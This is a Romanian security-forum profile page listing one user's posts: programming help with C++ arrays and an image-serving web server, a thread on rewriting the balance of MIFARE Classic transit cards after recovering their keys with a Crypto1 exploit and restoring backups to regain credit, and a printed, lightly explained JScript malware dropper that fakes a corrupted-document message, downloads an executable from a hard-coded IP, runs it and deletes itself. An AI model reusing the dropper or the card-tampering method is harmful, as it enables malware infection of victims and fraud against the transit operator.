Jump to content

3t3r4n

Members
  • Posts

    24
  • Joined

  • Last visited

  • Days Won

    1

Posts posted by 3t3r4n

  1. On 09.02.2017 at 10:35 PM, MrGrj said:

     

    1. Asta e C, nu C++.

    2. Functia nu ar trebui sa primeasca size ca argument - daca am un vector care contine n elemente unde n e un numar foarte mare, ce fac ? Ma apuc si numar elementele de nebun ca sa stiu cat sa aloc pentru argument? Nu mai bine aloci dinamic un vector de marime n, unde n este dat de la tastatura ? 

     

    Anyway, ar trebui ca asta sa-si faca o idee chiar daca pe chat a supt-o si a vrut mura-n gura :) 

     

     

    Calm te rog, eu i-am dat un mic exemplu pentru ca daca a cerut ajutorul clar nu stie prea multe.

     

    int *a=new int[8];
    int size=sizeof(a)/sizeof(*a);

    Ce valoare va contine size? 8? nope .. 1 ;)

    Am folosit ca parametru size pentru ca oricum trebuia sa aloce dinamic vectorul.

  2. Salut, nu inteleg de ce daca accesez in browser de pe acelasi PC o poza mi-o arata fara probleme iar daca incerc de pe alt PC din aceeasi retea nu se trimite tot fisierul si imi da eroare in browser ca fisier corupt.

    Fisierele html nu au probleme .. se intampla doar la imagini.

    	if((extension=="png" or extension=="jpg" or extension=="gif") and pFile != NULL){
                        fclose (pFile);
                        ifstream f(start_directory.append(uri).c_str(), ios::in|ios::binary|ios::ate);
                        if(f.is_open()){
                            streampos size = f.tellg();
                            char* image = new char [size];
                            f.seekg (0, ios::beg);
                            f.read (image, size);
                            f.close();
    
                            header ="HTTP/1.0 200 OK\r\nExpires: 0\r\nPragma: no-cache\r\nPragma-directive: no-cache\r\nCache-control: no-cache\r\nCache-directive: no-cache\r\nContent-Type: image/"+extension+"\r\nServer: idev v0.05.8\r\n\r\n";
                            socket->sendStream(header.c_str(),header.size());
                            socket->sendStream(image,size);
                            delete image;
    
                        }else{
                            header="HTTP/1.0 401 Not Found\r\nConnection: close\r\n\r\n<h1>Bad Request (Invalid URL)</h1>";
                            socket->sendStream(header.c_str(),header.size());
                        }
    
    	}

    EDIT: Cred ca problema e din fisierul Socket .. am schimbat cu mongoose si acelasi cod functioneaza cum trebuie :|

  3. On 12.07.2016 at 0:39 AM, Nytro said:

    A prezentat la Defcamp in detaliu. Vezi daca gasesti slide-urile.

    Nu le-am gasit .. dar am mai descoperit cate ceva intre timp


     

    80 00 - credit
    00 30 - folosiri
    0E 59 - hash

     

    80 00
    00 40
    92 1C

     

    89 60
    00 10
    62 23

     

    poate va dati voi seama cum genereaza hash-ul ..

  4. 2 minutes ago, Sim Master said:

    Lol. Da, ce ai visat pare sa fie bun pentru cazul tau. Chiar sunt curios daca iti merge. Incearca sa scrii pe card o alta valoare si vezi daca il recunoaste aparatul.

    In cazul meu difera mult mai multi biti pe card cand se scade suma si chiar cand reincarc cu aceeasi suma. Posibil sa fie alt algoritm.

     

    Si la mine se schimba dar aceia sunt ceva gen history

  5. 1 hour ago, Sim Master said:

    Am incercat si eu exact acelasi lucru pe cardurile de transport din Timisoara. Din cate stiu sistemul este implementat de aceeasi firma ca si in Bucuresti, de UTI. Deci probabil si continutul cardurilor este asemanator.

     

    Ce am reusit eu sa fac a fost sa incarc cardul cu o anumita suma, sa ii fac backup iar apoi cand se goleste suma de pe card sa ii fac restore la backup si sa am din nou suma respectiva. Metoda asta merge bine, mai ales pentru ca validatoarele nu sunt conectate la internet si totul e scris direct pe card.

     

    Cu toate astea, n-am reusit sa decriptez continutul lor intrucat firma care le-a implementat, dupa cum ai vazut si tu, nu le-a lasat in plain text.

    Am incercat sa compar mai multe backup-uri intre ele, toate continand aceleasi sume, dar incarcate la chiosc in zile diferite si pare ca nu coincide nimic. Ma gandesc ca atunci cand cripteaza datele mai introduce ceva salt sau timestamp.

     

    Intre timp am lasat-o balta ca m-am plictisit de "proiectul" asta. Ma gandeam la un moment dat sa propun o aplicatie pentru incarcarea cardurilor cu telefonul, prin NFC, dar se pare ca nici RATT (aka RATB din Timisoara) nu are acces la datele scrise pe card. Ei doar folosesc softurile primite de la firma care a implementat totul.

     

    Se pare ca ultima valoare era gresita si nu era 1.5lei era 0 lei.

     

    Valoarea care o ai pe card pentru 4.5lei este (0x00, 0x8e, 0x10) 0x008e10 din care se scade 0x008000 = 0xe10 valoare pe care o impartim la 8 = 0x1c2 = 450

    Dar ultimii 2 biti din block se schimba si probabil sunt un checksum

     

    Nu stiu daca ma credeti dar am visat asta :))

    • Haha 1
    • Upvote 7
  6. 9 hours ago, mark0 said:

    RATB-ul foloseste taguri milfare? Stiu ca am incercat sa ma joc anul trecut cu cardul de RATT care e un milfare si nu am reusit nimic. E faza ca sunt student, am gratuit dar ma ia lenea sa merg pana la chiosc si sa stau 2 luni dupa un decont de 45 de lei.

    Da, folosesc mifare clasic 1k

     

    • Upvote 1
  7. 9 minutes ago, blech said:

    sper ca faci asta pe un card din ala ne nominal....fara nume...

    Daca am reusit sa citesc cardul inseamna ca nu sunt asa prost :)

     

    5 minutes ago, DrMengele said:

    De curiozitate,cu ce le-ai citit?

    Cu un ACR122U

    • Upvote 1
  8. 34 minutes ago, Silviu said:

    Cică criptografia zice că dacă spargi un sistem de criptare, înseamnă că îi știi cheia. Modifici valorile și cu cheia aflată criptezi folosind algoritmul de criptare respectiv.

    M-am referit la valoarea soldului ca nu e stocata ca un int sau float .. nu stiu formatul cum e cryptat 

     

    Daca nu stiam cheile nu aveam cum sa citesc informatia dupa card.

  9. 12 minutes ago, sandabot said:

    Am incercat si eu anul trecut ceva asemanator pe cartelele reincarcabile cu RFID, mereu am crezut ca valorile sunt criptate si parolate, tine-ne la curent

     

    Exact sunt cryptate si parolate dar deoarece crypto1 a fost spart am putut recupera toate cele 32 de key cu un exploit pe sectorul 0 ... problema e cryptarea valorilor acum :(

  10. 2 hours ago, Byte-ul said:

    Ai incercat sa schimbi {0x80, 0x00} in {0x8e, 0x10} si sa vezi daca chiar s-a schimbat validandu-l? :D 

     

    Nu doar valoarea aceea ... am reacris-o pe toata cu valorile initiale (imi era mai simplu) :) iar banuielile mi-au fost confirmate .. acum nu stiu daca vor vedea vre-o anomalie si sa imi blocheze cartela .. va tin la curent :)

     

    1 hour ago, johnndoee said:

    Daca nu au conexiune sa le valideze cum procedeaza? Vrei sa spui ca ca aparatul rescrie unele valori pe cartela cand tu consumi din sold? (altfel ai avea aceasi suma initiala pe fiecare terminal daca nu au conexiune si nici nu updateaza). Daca updateaza pe cartela si la 24 ore se sincronizeaza/valideaza/etc datele procesate de terminale, probabil 24 ore vei putea folosi cartele clonate pana la detectarea unor anomali si blocarea lor..

     

    Vreau sa spun ca toate datele sensibile se pastreaza pe card iar cand validezi se modifica valoarea soldului(pe card) si se adauga un fel de history validation.

    Daca validezi pe alt terminal iti verifica history-ul si stie ca ai validat deja

  11. Nu .. aparatele de taxat nu au conexiune la internet ... daca te uiti pe siteul ratb la incarcare online ai sa vezi ca dureaza 24 de ore sa transfere informatia la aparate ca tu ai reincarcat online (spun ei la ora 12am) si la prima validare iti incarca cardul :) iar suma este stocata pe card, spun din proprie experienta

     

    Iar valorile care le-am postat sunt singurele care difera intre cele 3 carduri cu sume diferite (difera si cheile de securitate mai putin keyA si keyB pentru primele 2 block-uri)

     

    Nu va ganditi ca fac prosti dar e provocator sa le modific dar mam impotmolit aici :P

    • Upvote 1
  12. {0x8e, 0x10}            4.5lei
    {0x89, 0x60}            3.0lei
    {0x80, 0x00}            0lei

     

    Cum e encodat? Luati-o ca pe o provocare dar sa imi spuneti si mie dupa :D

    • Upvote 1
  13. Pe scurt downloadeaza un fisier executabil, il ruleaza si il sterge impreuna cu fisierul js

    
    var ActXN = this["ActiveXObject"]
    var WSSS12 = this["WScript"];
    var WshShell = WSSS12["CreateObject"}("WScript.Shell");
    var pre_period = new ActXN("Scripting.FileSystemObject");
    var pre_August = new ActXN("ADODB.Stream");
    var pre_Greene4 = new ActXN("Shell.Application");
    
    var temp12 = WshShell["ExpandEnvironmentStrings"]("%TEMP%");
    
    /**       String["fromCharCode"](92)=>"/"            */
    var filepath = temp12 + String["fromCharCode"](92) + Math["floor"](Math["random"]() * 100 + 1) + ".exe"
    var xhr12 = new ActXN("Msxml2.ServerXMLHTTP");
    
    
    var pre_house2 = String["fromCharCode"](92) + "adobe_update.js";
    var startupFolder = pre_Greene4["NameSpace"](3 + 2 + 2);
    
    var pre_scurrilous = false;
    var pre_originally10 = false;
    var tone = 1;
    var pre_being4 = 0;
    var icount = 0;
    var mz12 = "MZ";
    var empty12 = "";
    var pre_parts4 = WSSS12["ScriptFullName"];
    var pre_April = startupFolder.Self.Path + pre_house2;
    var uidhere = pre_April;
    var url12 = "https://185.130.104.167/TALL/q64.php?add=gyu79jhuijkomnblopqwecyh7091hh"{
    
    
    if (pre_parts4 != pre_April && pre_scurrilous == false) {
      pre_scurrilous = true;
      pre_period["DeleteFile"](pre_parts4);
      WSSS12["echo"]("The document is corupted and cannot be opened")
      WSSS12["Sleep"](5E3);
    }
    
    icount = 0;
    for (;icount < uidhere["length"];icount++) {
      /** @type {number} */
      pre_being4 = (pre_being4 << 5) - pre_being4 + uidhere["charCodeAt"](icount) & 4294967295;
    }
    for (;true;) {
      tone = tone + 1;
      if (tone == 3E8) {
        for (;true;) {
          try {
            xhr12["setOption"](3, "MSXML");
            xhr12["open"]("GET", url12 + "&" + Math["floor"](Math["random"]() * 200 + 1) + "&uid=" + Math["abs"](pre_being4), false);
            xhr12["send"]();
            if (xhr12["status"] == 200) {
              icount = 0;
              if (pre_period["FileExists"](filepath)) {
                pre_period["DeleteFile"](filepath);
              }
              pre_August["Open"]();
              pre_August["Type"] = 1;
              pre_August["Write"](xhr12["responseBody"]);
              icount = pre_August["Size"];
              empty12 = xhr12["responseText"];
              empty12 = empty12["substring"](0, 2);
              pre_August["position"] = 0;
              pre_August["SaveToFile"](filepath);
              pre_August["Close"]();
              if (pre_period["FileExists"](filepath) && (icount > 500 && empty12 == mz12)) {
                pre_originally10 = true;
                WshShell["Exec"](filepath);
                if (pre_period["FileExists"](WSSS12["ScriptFullName"])) {
                  pre_period["DeleteFile"](WSSS12["ScriptFullName"]);
                }
                WSSS12["Sleep"](5E3);
                if (pre_period["FileExists"](filepath)) {
                  pre_period["DeleteFile"](filepath);
                }
                break;
              }
            }
          } catch (e$$12) {
          }
          if (pre_originally10 == true) {
            break;
          }
          WSSS12["Sleep"](1E4 * 7);
        }
        break;
      }
    }
    
    

     

×
×
  • Create New...